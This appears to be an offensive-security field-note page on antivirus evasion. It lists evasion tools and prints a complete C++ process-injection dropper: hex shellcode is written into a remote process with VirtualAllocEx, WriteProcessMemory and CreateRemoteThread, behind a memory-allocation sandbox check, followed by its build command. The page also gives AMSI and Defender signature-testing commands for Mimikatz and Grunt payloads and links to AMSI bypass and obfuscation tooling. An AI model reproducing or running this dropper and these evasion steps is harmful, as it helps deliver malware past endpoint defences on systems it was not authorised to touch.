HackTheCore
ResearchHuman LayerAnti-Virus Evasion Basics

Human // Collection and Pretext

Anti-Virus Evasion Basics

Anti-Virus Evasion Basics is presented here as a field note for offensive security work. The emphasis is on attack surface, validation logic, common failure patterns, operator choices and the public references worth keeping nearby during a live assessment.

field noteassessment referencepublic sources

Why it matters in practice

Anti-Virus Evasion Basics matters because it shapes how an operator scopes the work, chooses validation steps, prioritizes evidence and explains risk. The point is not to accumulate trivia; it is to understand which control boundary is in play and how that boundary can fail under realistic pressure.

This note keeps anti-virus evasion basics tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.

Primary coverage

The items below mark the main workflows, concepts, tools and validation themes that repeatedly matter when working through anti-virus evasion basics.

  • Phantom evasion
  • Veil-evasion
  • Shellter
  • Av bypass with unicorn.py
  • Unicorn github
  • Bypass AV through custom source code
  • AV evasion with the prometheus.cpp shell workflow
  • Av evasion quick reference
  • Prometheus.cpp
  • Windows powershell macro code

Selected public references

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {

  unsigned char payload[] =
    "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
    "\x48\x83\xec\x20\x41\xff\xd6";

  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  PVOID rb; // remote buffer

  DWORD pid; // process ID
  pid = atoi(argv[1]);

  // allocate and fill 100 MB of memory
  char *mem = NULL;
  mem = (char *) malloc(100000000);

  if (mem != NULL) {
    memset(mem, 00, 100000000);
    free(mem);

    // parse process ID
    ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
    printf("PID: %i", pid);

    // allocate memory buffer for remote process
    rb = VirtualAllocEx(ph, NULL, sizeof(payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

    // "copy" data between processes
    WriteProcessMemory(ph, rb, payload, sizeof(payload), NULL);

    // our process start new thread
    rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
    CloseHandle(ph);
    return 0;
  }
}
build:
	x86_64-w64-mingw32-g++ dropper.cpp -o dropper.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
DefenderCheck.exe PowerUp.ps1
AmsiTrigger_x64.exe -i Invoke-Mimikatz.ps1
ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://github.com/samratashok/nishang
https://github.com/EmpireProject/Empire/blob/master/data/module_source/code_execution/Invoke-Shellcode.ps1
https://powersploit.readthedocs.io/en/latest/
https://github.com/danielbohannon/Invoke-Obfuscation
https://amsi.fail
https://github.com/TheWover/donut
https://github.com/Flangvik/DLLSideloader
https://github.com/Flangvik/NetLoader

Selected public references